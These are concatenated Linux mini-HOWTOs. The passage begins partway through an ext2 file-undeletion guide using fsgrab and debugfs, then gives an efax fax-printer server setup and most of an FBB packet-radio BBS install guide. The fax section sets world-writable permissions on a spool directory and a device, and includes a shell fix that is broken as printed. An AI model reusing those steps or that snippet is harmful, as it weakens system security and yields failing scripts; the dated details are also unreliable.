# fsgrab -c 256 -s 9356 /dev/hda5 >> /mnt/recovered.001
# fsgrab -c 256 -s 9613 /dev/hda5 >> /mnt/recovered.001
# fsgrab -c 256 -s 9870 /dev/hda5 >> /mnt/recovered.001

Adding up, we see that so far we've written 12 + (7 * 256) blocks, which is 1804. The `stat' results for the inode gave us a `blockcount' of 3616; unfortunately these blocks are 512 bytes long (as a hangover from UNIX), so we really want 3616/2 = 1808 blocks of 1024 bytes. That means we need only four more blocks. The last data block written was number 10125. As we've been doing so far, we skip an indirect block (number 10126); we can then write those last four blocks.

# fsgrab -c 4 -s 10127 /dev/hda5 >> /mnt/recovered.001

Now, with some luck the entire file has been recovered successfully.


Linux Ext2fs Undeletion mini-HOWTO: Modifying inodes directly

 Next Previous Contents

11. Modifying inodes directly

This method is, on the surface, much easier. However, as mentioned above, it cannot yet cope with files longer than 12 blocks.

For each inode you want to recover, you must set the usage count to one, and set the deletion time to zero. This is done with the mi (modify inode) command in debugfs. Some sample output, modifying inode 148003 from above:

debugfs:  mi <148003>
                          Mode    [0100644]
                       User ID    [503]
                      Group ID    [100]
                          Size    [6065]
                 Creation time    [833201524]
             Modification time    [832708049]
                   Access time    [826012887]
                 Deletion time    [833201524] 0
                    Link count    [0] 1
                   Block count    [12]
                    File flags    [0x0]
                     Reserved1    [0]
                      File acl    [0]
                 Directory acl    [0]
              Fragment address    [0]
               Fragment number    [0]
                 Fragment size    [0]
               Direct Block #0    [594810]
               Direct Block #1    [594811]
               Direct Block #2    [594814]
               Direct Block #3    [594815]
               Direct Block #4    [594816]
               Direct Block #5    [594817]
               Direct Block #6    [0]
               Direct Block #7    [0]
               Direct Block #8    [0]
               Direct Block #9    [0]
              Direct Block #10    [0]
              Direct Block #11    [0]
                Indirect Block    [0]
         Double Indirect Block    [0]
         Triple Indirect Block    [0]

That is, I set the deletion time to 0 and the link count to 1 and just pressed return for each of the other fields. Granted, this is a little unwieldy if you have a lot of files to recover, but I think you can cope. If you'd wanted chrome, you'd have used a graphical `operating system' with a pretty `Recycle Bin'.

By the way: the mi output refers to a `Creation time' field in the inode. This is a lie! (Or misleading, anyway.) The fact of the matter is that you cannot tell on a UNIX file system when a file was created. The st_ctime member of a struct stat refers to the `inode change time', that is, the last time when any inode details were changed. Here endeth today's lesson.

Note that more recent versions of debugfs than the one I'm using probably do not include some of the fields in the listing above (specifically, Reserved1 and (some of?) the fragment fields).

Once you've modified the inodes, you can quit debugfs and say:

# e2fsck -f /dev/hda5

The idea is that each of the deleted files has been literally undeleted, but none of them appear in any directory entries. The e2fsck program can detect this, and will add a directory entry for each file in the /lost+found directory of the file system. (So if the partition is normally mounted on /usr, the files will now appear in /usr/lost+found when you next mount it.) All that still remains to be done is to work out the name of each file from its contents, and return it to its correct place in the file system tree.

When you run e2fsck, you will get some informative output, and some questions about what damage to repair. Answer `yes' to everything that refers to `summary information' or to the inodes you've changed. Anything else I leave up to you, although it's usually a good idea to say `yes' to all the questions. When e2fsck finishes, you can remount the file system.

Actually, there's an alternative to having e2fsck leave the files in /lost+found: you can use debugfs to create a link in the file system to the inode. Use the link command in debugfs after you've modified the inode:

debugfs:  link <148003> foo.txt

This creates a file called foo.txt in what debugfs thinks is the current directory; foo.txt will be your file. You'll still need to run e2fsck to fix the summary information and block counts and so on.


Linux Ext2fs Undeletion mini-HOWTO: Will this get easier in future?

 Next Previous Contents

12. Will this get easier in future?

Yes. In fact, I believe it already has. Although as of this writing, current stable kernels (in the 2.0.x series) zero indirect blocks, this does not apply to development kernels in the 2.1.x series, nor to the stable 2.2.x series. As I write this on 2 February 1999, kernel 2.2.1 was released a few days ago; Linux vendors are likely to start producing distributions containing and supporting 2.2.x kernels a month or two from now.

Once the indirect-zeroing limitation has been overcome in the production kernels, a lot of my objections to the technique of modifying inodes by hand will disappear. At the same time, it will also become possible to use the dump command in debugfs on long files, and to conveniently use other undeletion tools.


Linux Ext2fs Undeletion mini-HOWTO: Are there any tools to automate this process?

 Next Previous Contents

13. Are there any tools to automate this process?

As it happens, there are. Unfortunately, I believe that they currently suffer from the same problem as the manual inode modification technique: indirect blocks are unrecoverable. However, given the likelihood that this will shortly no longer be a problem, it's well worth looking these programs out now.

I have written a tool called e2recover, which is essentially a Perl wrapper around fsgrab. It makes a reasonable amount of effort to deal with zeroed indirect blocks, and seems to work fairly well as long as there was no fragmentation. It also correctly sets the permissions (and when possible the ownership) of recovered files, and even makes sure that recovered files have the correct length.

I originally wrote e2recover for the forthcoming major update to this Howto; unfortunately this means that much of the useful documentation for e2recover is scheduled for inclusion in that update. Be that as it may, it should be useful now; it can be downloaded from my web site, and soon from Metalab.

Scott D. Heavner is the author of lde, the Linux Disk Editor. It can be used as both a binary disk editor, and as an equivalent to debugfs for ext2 and minix file systems, and even for xia file systems (though xia support is no longer available in 2.1.x and 2.2.x kernels). It has some features for assisting undeletion, both by walking the block list for a file, and by grepping through disk contents. It also has some fairly useful documentation on basic file system concepts, as well as a document on how to use it for undeletion. Version 2.4 of lde is available on Metalab and mirrors, or on the author's web site.

Another possibility is offered by the GNU Midnight Commander, mc. This is a full-screen file management tool, based AFAIK on a certain MS-DOS program commonly known as `NC'. mc supports the mouse on the Linux console and in an xterm, and provides virtual file systems which allow tricks like cd-ing to a tarfile. Among its virtual file systems is one for ext2 undeletion. It all sounds very handy, although I must admit I don't use the program myself -- I prefer good old-fashioned shell commands.

To use the undeletion feature, you have to configure the program with the --with-ext2undel option; you'll also need the development libraries and include files that come with the e2fsprogs package. The version provided in Debian GNU/Linux is built in this way; the same may apply to packages for other Linux distributions. Once the program is built, you can tell it to cd undel:/dev/hda5, and get a `directory listing' of deleted files. Like many current undeletion tools, it handles zeroed indirect blocks poorly -- it typically just recovers the first 12k of long files.

The current version may be downloaded from the Midnight Commander ftp site.


Linux Ext2fs Undeletion mini-HOWTO: Colophon

 Next Previous Contents

14. Colophon

I intend to produce regular updates to this document as long as I have both enough time to do it, and something interesting to say. This means that I am eager to hear comments from readers. Could my writing be clearer? Can you think of something that would make matters easier? Is there some new tool that does it all automatically? Whatever. If you have something to say about this document or about the fsgrab or e2recover tools, drop me a line on aaronc@pobox.com.


Linux Ext2fs Undeletion mini-HOWTO: Credits and Bibliography

 Next Previous Contents

15. Credits and Bibliography

`If I have seen farther than others, it is because I was standing on the shoulders of giants.' (Isaac Newton)

This mini-Howto was originally derived from a posting in the comp.os.linux.misc newsgroup by Robin Glover swrglovr@met.rdg.ac.uk. I would like to thank Robin for graciously allowing me to rework his ideas into this mini-Howto.

I would also like to take this opportunity to thank once again all the people who've written to me about the Howto. Receiving grateful comments makes the effort worth while.

Some bibliographic references:

  • Frisch, Æleen (1995), Essential System Administration, second edition, O'Reilly and Associates, Inc., ISBN: 1-56592-127-5.
  • Garfinkel, Simson, Daniel Weise and Steven Strassmann (1994), The Unix-Haters Handbook, IDG Books, ISBN: 1-56884-203-1. Much of this book is merely the adolescent whinings of people who think that their operating system was so much better than Unix, and much of the rest simply doesn't apply if you have a well-written user-space such as GNU. But there is some wheat among the chaff; for example, the discussion of how easy it is to delete files under Unix is well worth reading.
  • Glover, Robin (31 Jan 1996), HOW-TO : undelete linux files (ext2fs/debugfs), comp.os.linux.misc Usenet posting.
  • Peek, Jerry, Tim O'Reilly, Mike Loukides et al (1993), UNIX Power Tools, O'Reilly and Associates, Inc./Random House, Inc., ISBN: 0-679-79073-X. Second edition, 1998.


Linux Ext2fs Undeletion mini-HOWTO: Legalities

 Next Previous Contents

16. Legalities

All trademarks are the property of their respective owners. Specifically:

  • MS-DOS and Windows are trademarks of Microsoft.
  • UNIX is a trademark of the Open Group.
  • Linux is a trademark of Linus Torvalds in the USA and some other countries.

This document is Copyright © 1997, 1999 Aaron Crane aaronc@pobox.com. It may be freely redistributed in its entirety, including the whole of this copyright notice, but may not be changed without permission from either the author or the Linux Documentation Project HOWTO Coordinator. Dispensation is granted for copying small verbatim portions for the purposes of reviews or for quoting; in these circumstances, sections may be reproduced in the presence of an appropriate citation but without this copyright notice.

The author requests but does not require that parties intending to sell copies of this document, whether on computer-readable or human-readable media, inform either him or the Linux HOWTO Coordinator of their intentions.

The Linux HOWTO Coordinator is currently Tim Bynum linux-howto@metalab.unc.edu.


Linux simple fax printer server mini-HOWTO (faxsrv-mini-HOWTO)

Erez Strauss <erez@newplaces.com>

v1.0, 8 November 1997

No warranties. Comments are always welcome. This document describes in details one of the simplest ways to setup fax server on your Linux system. The fax is available to the users on the local host and to network users.

1. Introduction

2. Questions & Answers

  • 2.1 What is a fax printer server ?
  • 2.2 How to set it up ?
  • 2.3 How do I use it, for the server ?
  • 2.4 Where do I specify the target Fax number ?
  • 2.5 How do I use it from other Unixes on the net ?
  • 2.6 Caldera, LPRng users

3. Latest version, Contacting the author.


Linux simple fax printer server mini-HOWTO (faxsrv-mini-HOWTO): Introduction

 Next Previous Contents

1. Introduction

To get a working printer/fax on the linux machine you should have some software and fax modem.

The Printing software will be using the fax software as a print filter. The efax will find the fax number from the print Job number and will send the fax. The efax software was written be Ed Casas <edc@cce.com>.

The rest of the document is build as Q&A.


Linux simple fax printer server mini-HOWTO (faxsrv-mini-HOWTO): Questions & Answers

 Next Previous Contents

2. Questions & Answers

2.1 What is a fax printer server ?

A fax printer server is a setup of few programs: efax, and the print server, in such a way that sending a fax from the computer is as simple as sending printout to a printer.

2.2 How to set it up ?

Setting efax as fax print server includes few problems As I worked it out few times, I decided to collect this wisdom in this small mini-HOWTO, comments are welcome at <erez@newplaces.com>. I describe them here and the solutions, and all the instruction in short steps:

The efax Software

make sure you have the efax package.

On RPM based system use the command 'rpm -qv efax'.

You can get the efax sources in tar.gz format from sunsite: ftp://sunsite.unc.edu/pub/Linux/apps/serialcomm/fax/efax08a.tar.gz or binary rpm package: ftp://ftp.redhat.com/pub/redhat/redhat-4.2/i386/RedHat/RPMS/efax-0.8a-3.i386.rpm

The printcap entry.

The efax documentation is missing the : at the end of the printcap entry.

Solution: Add the following /etc/printcap entry:

fax:\
        :lp=/dev/null:\
        :sd=/var/spool/fax:\
        :if=/usr/bin/faxlpr:

The fax command

Use hard link and not symbolic link to the fax command.

Run the command:

ln /usr/bin/fax /usr/bin/faxlpr

The /usr/bin/fax file.

Edit the /usr/bin/fax to your preferences:

choose the right Fax Class for your modem:

CLASS=2.0
Set the FROM="your international phone number" field
NAME="Your Name"
Add the line for conversion of international phone number to local for example in Israel you would use:
TELCVT='sed -e s/+972/0/ -e s/+/00/'  # Israel

There is a problem in the file in line 586, change the cfile=... with the following two lines:

cfile=`/usr/bin/tail -1 lock`
cfile=`cat $cfile`

at lines 586,587 there shouldn't be '-' signs the lines are:

0) echo "$l" | mail -s "fax to $num succeeded" $user@$host ;;
*) echo "$l" | mail -s "fax to $num failed   " $user@$host ;;

The /var/spool/fax directory.

create the directory /var/spool/fax

mkdir /var/spool/fax
chmod 777 /var/spool/fax

The lock file.

The lock file (/var/spool/fax/lock) is being created with incorrect permissions, use the following command to set it correctly:

touch /var/spool/fax/lock ; chmod 644 /var/spool/fax/lock

The /dev/modem special file.

The efax program is expecting real device file at the /dev/modem and will not work with symbolic link, so create a device file with the same major and minor number as the /dev/cua? the is connected to the modem. The file should have the rw-rw-rw- mode to enable any user to use the fax software.

ls -lL /dev/modem
rm /dev/modem
mknod /dev/modem c Mj Mi
chmod 666 /dev/modem

Mj is 5, and Mi is 64 for the cua0, 65 for cua1 and so on. For example (for cua1):

mknod /dev/modem c 5 65

The /var/lock directory.

change the mode at the /var/lock directory

chmod 1777 /var/lock

2.3 How do I use it, for the server ?

You should use the fax printer using the -P option and the -J option with the fax number.

use one of the following lpr commands:

 lpr -Pfax -J <Fax-Number> [file-names]
 any command | lpr -Pfax -J <Fax-Number>

2.4 Where do I specify the target Fax number ?

After the -J option.

2.5 How do I use it from other Unixes on the net ?

Add the following entry into the /etc/printcap file and the client Linux systems, create the spool directory, and so on ...

fax:\
        :sd=/var/spool/fax:\
        :mx#0:\
        :sh:\
        :rm=host.domain:\
        :rp=fax:

add the name of the client hosts into the /etc/hosts.lpd on the fax server machine.

use it as before.

Note:

The header string that efax adds to the fax pages is not effected by the user name that sends the fax. (can be updated).

2.6 Caldera, LPRng users

The LPRng printing management software is using a different method to handle the control file.

Thanks to Luca Montecchiani <m.luca@usa.net>, who found the problem and the solution. Here is an update to the /usr/bin/fax file. The following line replace the two simple cfile=... lines at lines 586,587

# Modified to work also with the LPRng package
# Luca Montecchiani (08/11/97 m.luca@usa.net)
if [ !-z "$CONTROL_FILE" ]
    then
        cfile=`cat tail -1 lock`
        cfile=`cat $cfile`
    else
        cfile=$CONTROL_FILE
fi


Linux simple fax printer server mini-HOWTO (faxsrv-mini-HOWTO): Latest version, Contacting the author.

 Next Previous Contents

3. Latest version, Contacting the author.

The latest version of this file can be accessed through the world wide web using URLs

http://www.newplaces.com/linux/faxsrv/faxsrv-mini-HOWTO.sgml
http://www.newplaces.com/linux/faxsrv/faxsrv-mini-HOWTO.html
http://www.newplaces.com/linux/faxsrv/faxsrv-mini-HOWTO.txt
http://www.newplaces.com/linux/faxsrv/faxsrv-mini-HOWTO.info

You can contact me

Erez Strauss
erez@newplaces.com
http://www.newplaces.com/linux/
http://www.newplaces.com/
Phone: +972 52 739737
Fax:  +972 9 954 3034


FBB Packet-radio BBS mini-HOWTO

Miroslav "Misko" Skoric, YT7MPB, m.skoric@eunet.yu

v1.11, 2001-11-27

This mini-HOWTO covers the installation and use of the most popular amateur packet-radio BBS software "FBB". That software works under Linux, DOS and Windows operating systems. It serves as a bulletin board system (BBS), a mailbox for personal messages, a database for various texts, documents and binary files, a server for small useful calculations etc. Packet radio is a way of connecting computers via amateur radio stations.

1. Introduction

2. How to install X11 (Xwindows) version of LinFBB

3. How to install LinFBB in addition to existing WinFBB

4. How to install Protus password utility

5. How to install daemon version of LinFBB

6. How to install an "upgrade" to daemon version of LinFBB

  • 6.1 LinFBB v7.02g
  • 6.2 LinFBB v7.03
  • 6.3 LinFBB v7.04

7. Further information

  • 7.1 Copyright
  • 7.2 Disclaimer
  • 7.3 News
  • 7.4 Credits
  • 7.5 HOWTO
  • 7.6 Mini-HOWTO
  • 7.7 Local Resources
  • 7.8 Web Pages

8. Getting help


FBB Packet-radio BBS mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

I have been using FBB amateur radio software since early nineties. It was the time of DOS operating system, so most of us, system administrators (or, so called system operators - sysop's), used various packet radio software for DOS. Versions of FBB packet radio BBS software for DOS, today are known as "DosFBB".

I still administer one DosFBB database in the SRV (Amateur Radio Union of Vojvodina, a part of SRJ). It is DosFBB v7.00g23 that runs on a 486DX computer with 16 MB of RAM and Hercules b/w graphics. Since last December, it runs without any re-boot (excepting some power failures). Before that, it was a bit tricky to set up all memory management properly, in order to avoid "frozen" system. Although this server runs under DOS, its "radio clients" don't depend on that. In fact, users of that DosFBB might run their client software under DOS, Windows, Linux or any other operating system that offer amateur packet radio abilities.

I have also used DosFBB v5.15c at home. Three years ago, when I got my new box, Pentium 166 with 32 MB of RAM and VGA color graphics, I switched to a Windows version of FBB ("WinFBB"). Author of the software, an radio amateur from France, Jean-Paul F6FBB, has made many versions of WinFBB, including 16 bit variant for Windows 3.x and Windows 9x as well as 32 bit variant for Windows NT. I have run both variants until now (at the moment it is 16 bit WinFBB v7.00g25 that runs ok under Windows NT 4.0).

New: Since Spring 2001, I run WinFBB v7.00i (17 March 2001) under Windows 2000 Professional.

The main difference between DosFBB and WinFBB is that the second one offers you to do other jobs with your computer, while FBB is running as just any other application. Beside that, it is always nice to copy a text from another application (for example, from an Internet email) and to paste it into a packet radio message, or vice versa.

In the mean time, I upgraded my system to the Celeron 400 MHz with 96 MB of RAM and a big hard disk that has enough room to install Linux and try LinFBB ...

New: In July 2001, I added 128 MB of RAM so my home system is very confortable now.

Finally, you should be aware what I want to have here:

      1. WinFBB when I run Windows.

      2. LinFBB when I run Linux. It should be an
         Xwindows application that may be
         started/stopped similarly to WinFBB.
         That's why X11 LinFBB package is used.

      3. LinFBB when I run Linux, but as a daemon
         that runs in the background. In addition,
         an interface for a local user (myself)
         is needed, as well as an interface to
         monitor the radio chanell.

      4. All three versions must be capable to
         use the same configuration files, i.e.
         to be able, for example, to begin from
         the exact position where the other
         version finished its previous session.

      5. I am not an expert in Linux, so I am
         only able to install "factory-made"
         packages for Linux (just like to install
         self executing software packages under
         Windows). So, no (re)compilations here :-)


FBB Packet-radio BBS mini-HOWTO: How to install X11 (Xwindows) version of LinFBB

 Next Previous Contents

2. How to install X11 (Xwindows) version of LinFBB

  • First of all, you should have running Linux with a GUI installed. I am fully satisfied with Gnome GUI but I suppose that KDE will be ok too (or any other GUI available).

  • Download or copy LinFBB (the main ftp site is ftp.f6fbb.org but there are many mirror sites too). For example, if you get a file like
    x700e_full.tgz
    it means that it is X11 version 7.00e and it contains all you need in tgz archive to install the BBS. On the other hand, a name like
    xd700g_full.tgz
    means that it is not X11 but daemon version 7.00g and it is also complete to unpack. Further,
    x700f01.tgz
    and
    x700g.tgz
    are "upgrades" to any previous "full" package. For example, after I have upgraded to x700g.tgz I started to run X11 LinFBB 7.00g (04 August 1998). Btw, X11 versions are not maintained anymore, but I still run it here. It has some bugs but I like it.

  • Copy the archive file in /tmp directory.

  • You have to make a "base" directory where your FBB will be installed. For example you may type: mkdir /usr/local/fbb if you want FBB to be there. You have to be logged as 'root' or 'superuser' to install FBB.

  • Then, you should locate yourself in that directory: cd /usr/local/fbb.

  • Now, you should unpack the archive: tar xvzf /tmp/x700b25.tgz (<-- use the right name of the archive here).

  • When you finished unpacking the archive, you may continue installing the software: ./install.sh is the command for that. The setup will ask you for the 'base' directory where FBB will be installed. If you chose /usr/local/fbb again, you will be told that such directory already exists and all files will be overwritten. It is ok, so you should answer yes. If everything is ok, you should see on the screen that fbb system directories are created. At the beginning of that procedure, program will ask you for bbs's callsign, name of the city, QTH locator, your name etc. That details will become a part of /usr/local/fbb/init.srv file.

  • After that, you MUST check this file again manually in order to fix some other details needed (because installation script does not fix all parts within that file).

  • Well, so far - so good. After you have checked all configuration files, you may start the software: ./xfbb.sh (<-- type this within an xterm or something similar). When you start your BBS for the first time, it will ask you to create some files it needs, so you should answer "yes" to the questions.


FBB Packet-radio BBS mini-HOWTO: How to install LinFBB in addition to existing WinFBB

 Next Previous Contents

3. How to install LinFBB in addition to existing WinFBB

Notice: Folks, you see, at my place, I have a dual-boot system, consisting of Windows NT and Linux (each of them having their own partition(s) and file system). I wanted to have 'independent' operating systems that won't see each other. So I made two NT's partitions as NTFS partitions and rest of the space used Linux as ext2 partitions. Well, first I have installed WinFBB under NT and X11 LinFBB under Linux. Both of them worked, but there was a big "problem": I could not share their system files. You might say: So, what a big deal. But, my FBB's should serve as packet-radio forwarding stations (regardless of which one I boot at the moment), so it was really needed for new LinFBB to "know", for example, the position where WinFBB has stopped the mail exchange last time (and vice versa, of course).

  • Well, in order to allow both WinFBB under Windows NT and LinFBB under Linux to use some common files, it is needed to put these files in a place where both operating systems can "see". So I do that by re-installing WinFBB onto a FAT (FAT16) partition that is recognized by NT and Linux too. The best way to do that is to install a "fresh" copy of WinFBB on a FAT partition and to copy complete "old" WinFBB from NTFS partition over the fresh installation (whenever you are asked to rewrite existing files, you should answer "yes").

  • When that is finished, you should have a "clone" of the existing old WinFBB, but this time on the FAT partition that is visible from under Linux. Anyway, you should check if the "new" installation is able to run as the "old" one.

  • I could also recommend you to check the file tree of WinFBB in order to become more familiar with it. The file tree of LinFBB is a bit different so it is advisable to note various details here and there.

  • Some files can't be used as they are under both operating systems (without some neccesary changes). That's why some file names should be renamed (or, at least, you should make appropriate copies of some files):

          init.srv    ->  init_w.srv
      forward.sys ->  forw_w.sys
      port.sys    ->  port_w.sys
      protect.sys ->  prot_w.sys

    FBB is able to recognize and accept those renamed files.

  • Make a backup of the actual WinFBB (I do this by copying the whole WinFBB file structure into the other Windows partition that won't be shared with Linux, like NTFS one). You'll never know when a catastrophe may happen, so as a result, you won't be able to start neither of WinFBB or new LinFBB. As a precaution, the backup might be the easiest way to recover at least the old WinFBB for a while (until you configure your new LinFBB, ok?).

  • Now, you should restart your machine and boot into Linux. Log on as 'root' or make 'su' from a user's account.

  • Mount a shared FAT directory (where FBB files are): mount -t vfat /dev/hda2 /mnt/win (for example).

  • Copy LinFBB archive to /tmp directory.

  • Position yourself to the 'base' directory: cd /usr/local/fbb (for example).

  • Unpack the archive: tar xvzf /tmp/filename.

  • Start the installation script ./install.sh and, after asked for the 'base' installation directory, chose /usr/local/fbb. It doesn't matter if the program warns you that such directory already exists so existing files will be overwritten (by the way, if you choose a mounted directory shared with NT, many original WinFBB files, located there, would be over-written by LinFBB files, so after returning to Windows, WinFBB might not be functional like before).

  • Copy /usr/local/fbb to /mnt/win/fbb but do *not* rewrite existing files with the new files having the same names.

  • Copy /mnt/win/fbb/init_w.srv to /mnt/win/fbb/init_l.srv file.

  • Edit /mnt/win/fbb/init_l.srv to what is needed for Linux. You may use the existing file /mnt/win/fbb/init.srv as an example.

  • Copy newly edited /mnt/win/fbb/init_l.srv over the /mnt/win/fbb/init.srv (if you do not do that, maybe you wouldn't be able to start LinFBB using ./xfbb.sh, like me at first).

  • Copy /mnt/win/fbb/system/port_w.sys to /mnt/win/fbb/system/port_l.sys file.

  • Edit /mnt/win/fbb/system/port_l.sys to what is needed for Linux and LinFBB. You may use the existing file /mnt/win/fbb/system/port.sys as an example.

  • Edit /mnt/win/fbb/xfbb.sh in order to fix the right path.

  • Ensure that you are in FBB's main directory: cd /mnt/win/fbb (for example).

  • Start the script ./xfbb.sh to run LinFBB. If everything is ok, your LinFBB under Linux should run with the same configuration as your "old" WinFBB under Windows. From this point, both FBB's should behave very similar (actually, I must admit that WinFBB has much better visual quality than X11 LinFBB, but probably the reasons for that you may find in Windows-vs.-Linux-GUI quality battles). FYI, my actual WinFBB is v7.00g25 (05 January 2000) and X11 LinFBB is v7.00g (04 August 1998).

  • Although this combination WinFBB/X11 LinFBB works ok, I have noticed some problems. For example, LinFBB was not able to use amsat forward_to_file routine (located in /mnt/win/fbb/system/fwd directory), because that file was composed like this (for example):

      A AMSAT
  *
  P @
  *
  C D:\FBB\SYSTEM\SAT\AMSAT.TXT     <-- looks familiar to DOS/Windows only
  *
  G AMSAT
  *
  --------

    On the other side, LinFBB's amsat.sys (located in /etc/ax25/fbb/fwd directory) has suggested something like this:

      A AMSAT
  *
  P @
  *
  C /var/ax25/fbb/sat/amsat.txt     <-- looks familiar to Linux only
  *
  G AMSAT
  *
  --------

    Well, then I copied LinFBB's amsat.sys into /mnt/win/fbb/system/fwd directory so it could become functional. As a result, I got two amsat.txt files, one of them for each of WinFBB/LinFBB, and of course, both files appeared on different locations: the first one was /mnt/win/fbb/system/sat/amsat.txt and it was filled by WinFBB; the other one was in /var/ax25/fbb/sat/amsat.txt and was filled by LinFBB. I didn't like it that way.

    In order to have only one result, regardless of FBB version, the newly copied amsat.sys had to be slightly changed:

      A AMSAT
  *
  P @
  *
  *C /var/ax25/fbb/sat/amsat.txt
  C /mnt/win/fbb/system/sat/amsat.txt
  *
  G AMSAT
  *
  --------

    As you can see now, when LinFBB is active, its amsat.sys will not forward into its "native" location of amsat.txt. Instead of that, it will go to the location of the WinFBB's amsat.txt and just add some new materials into it, ok?

    Well, now it's up to you to decide what to do with your growing amsat.txt. An old DosFBB manual says that the 'batch' file (I suppose, the old good APPEL.BAT) should be adopted in order for SATUPDAT.EXE can update sat tracking data and, after that, to erase AMSAT.TXT because it is not needed anymore. Well, I haven't found a way to manage that in both WinFBB and LinFBB. Actually, whenever I perform housekeeping from either of them, it seems that AMSAT.TXT remains intact. Happily, it doesn't grow too much, so it's not a big problem. Any suggestion here?


FBB Packet-radio BBS mini-HOWTO: How to install Protus password utility

 Next Previous Contents

4. How to install Protus password utility

Notice: Well, I have been using Protus connection filters for a long time now. At first, it was version 3.1/1.2 for DosFBB515c and, later, version 3.3 for Dos/WinFBB700. I have found Protus as very useful utility because of its implementation of BBS-to-BBS forwarding protection using MD2 algorythm. One of the reasons I am going to cover Protus in this document is a fact that its author haven't made a manual in english yet. I keep trying to translate the original manuals from spanish into english, but it is a hard process. Any good 'spanish-to-english' translator is welcomed to contact me: m.skoric@eunet.yu.

Protus offers several interesting features:

  • It can send a presentation message to all users, informing about possibility to make users' access more safe,

  • It can send messages to users who have normal access, informing about utility's existence,

  • It can send messages to users who have no valid access (before disconnecting them),

  • It can send messages to new users who have connected the BBS for the first time, informing them about the password utility.

  • It can send messages to users who have entered wrong password (before disconnecting them),

  • It can inform sysop about almost everything related to users' connections (new user on the system, unsuccessful connections etc),

  • Messages mentioned above could be translated into various languages and used similarly as various language files that FBB uses,

  • Messages mentioned above could be different for different BBS ports,

  • Protus could be activated/deactivated at various intervals of time using CRON.SYS system file,

  • Passwords could be managed remotely, using an external server, developed by Jose EB5IVB,

  • ...

Well, let's see what should be done in order to implement secure access to the FBB packet radio BBS, using Protus type of, so called, c_filter:

  • Users of Dos/WinFBB versions of Protus already know that it is needed to create a new directory \FBB\PROTUS where several *.PRT files should be placed. In addition, the main C_FILT*.DLL files should be copied into \FBB\BIN as well as a couple of "system", (i.e. config) *.PRT files that are going to be within \FBB\SYSTEM directory.

  • After the sysop has copied all files into the proper locations, it is needed to make some configuration. The most important files are two "system" ones: CONFIG.PRT and USERS.PRT that should be carefully adopted to any particular situation. Other *.PRT files will work as they are in original, but they might be translated because they are originated in spanish (those files are just textual information that are sent to users who connect to the BBS). For your information, I usualy don't care much about, because my BBS's are so called "open systems". It means they work quite normal for all users in the same way as they worked before implementing Protus. Only a couple of callsigns have password installed and, when connecting, they know what they are doing, so, they don't need any additional info. Your mileage may vary.

  • So far - so good. When everything mentioned is done, you have to restart your FBB in order for Protus utility to be activated. In all connections to your BBS (including console), you should see a line like this: {PROTUS-4.0} just after a line [FBB-7.00-AB1FHMRX$]. It only gives an information that Protus is active on the system. Users of your system who don't have their passwords, connect just normally as before. Users who's callsigns have password implemented, are prompted for password just after their connections.

  • The author of Protus, Jesus EB5AGF, has made several working "modes" of its utility. It is possible for users to get various kinds of security: a fixed phrase as a password (similar when you connect to the Internet via telephone line, but this way the phrase can be masqueraded within the longer answer); a changeable answer to the 5 numbers (just like usual FBB sysop's password); a mode that uses automatic answer from user's client packet programs; implementation of MD2 and MD5 algorythms; FBB-to-FBB automatic forward protection etc. FYI, my WinFBB is equipped with 16-bit Protus 4.0 (13. August 1999). There is also a 32-bit module of the same date that would be called from within 32-bit WinFBB (I haven't tested those two).

  • Well, the situation regarding working location of Protus files under LinFBB is somewhat different. I have become familiar to the directory structure that DosFBB and WinFBB versions of Protus have been using, so I considered that it was enough just to copy the same directory structure when I started the installation of Protus under LinFBB. It was wrong. After having pulled out the remaining hair, the things started to work, so, now I am going to tell you what to do.

  • I have already told you that I have been running here both WinFBB under Windows NT and LinFBB under Linux (see also Linux+WinNT mini-HOWTO and Lilo mini-HOWTO). That means all Protus stuff has already been installed in a way WinFBB has required, except Linux executable of c_filter file. I put that file into /fbb/bin directory and, after the next restart of LinFBB, I got the info mentioned above: {PROTUS-4.0}. But the password protection was not likely to work. I was told to make a new directory /var/ax25/fbb/protus and put *.prt files there. I didn't move *.PRT files from \FBB\PROTUS but copied them into the new location, because I wanted Protus to run further under WinFBB as before. The utility still didn't want to run, unless I copied also *.PRT files from \FBB\SYSTEM to the new location (/var/ax25/fbb/protus). After I did that, Protus became fully functional.

  • Well, I suppose, the above info would be useful for those of you who intend to run *both* Windows and Linux FBB's on the same machine. For the majority of LinFBB-only users, it is just important to make /var/ax25/fbb/protus where all *.prt files should be placed. Only c_filter executable should go to /fbb/bin and that's it.

  • About FBB-to-FBB protection: *both* partners have to install Protus. Password for the forwarding partner's callsign must be the same at *both* sides of the link. The versions of Protus don't need to be the same (neither the versions of FBB, neither the operating systems, HI!). Anyway, MD5 algorythm will only work if both parties have Protus 4.x and above (I still don't use that, but it is not a problem, because my two boxes, DosFBB/Protus3.3 and WinFBB/LinFBB/Protus4.0, make all things ok with MD2).

  • One of the interesting features of Protus is to log unsuccessful connections. Due to the different locations of *.prt files here, I have separate logs for WinFBB and LinFBB c_filtering. Those of you who are going to run only one version of FBB, will have one complete log of connection errors, your users make when they try connecting your BBS.

  • As it was told earlier, if you implemented password protection for only some of your users (but not for all of them who connect normally) - your system is considered as an "open" one. It means that will be logged only unsuccessful tries to enter the system by "protected" callsigns. But, if you decided that your BBS can be accessed by only those callsigns who are protected with Protus, it means that your system is the "closed" one. Then, there is no way a user could enter your FBB unless its callsign has given a password within your Protus. Any unauthorized try to connect your BBS is logged.

  • In addition, you may decide to have a "guest" access or a "read-only" as default for some ports and/or for users who enter the wrong password. Many combinations are possible. You could even password protect your own FBB console!

  • To finish with this topic for now, just to inform you that my X11 LinFBB is equipped with Protus v4.1b7 (15. February 2000). It has some minor bugs, for example, it logs incoming connections with a SSID of -48 if a user doesn't have a SSID at all (of course, a SSID of -0 would be expectible in such case).


FBB Packet-radio BBS mini-HOWTO: How to install daemon version of LinFBB

 Next Previous Contents

5. How to install daemon version of LinFBB

Notice: You see, folks, that I keep trying to get as many as possible versions of this great software (Jean-Paul, F6FBB, must be very proud after reading these words now). What I think when mention "as many as possible versions" means that we have learned how to get both WinFBB and X11 LinFBB on the same computer. But, that's not all. There is a variety of daemon versions of LinFBB. In this section we are going to discuss how to *add* a daemon LinFBB to the existing two: X11 LinFBB and WinFBB!

  • Well, many amateurs have suggested me to install a couple of packages that weren't look to me as too much needed for LinFBB daemon - to be run. Anyway, I installed those packages before the installation of LinFBB itself:

          libax25.rpm
      ax25apps.rpm
      ax25tool.rpm

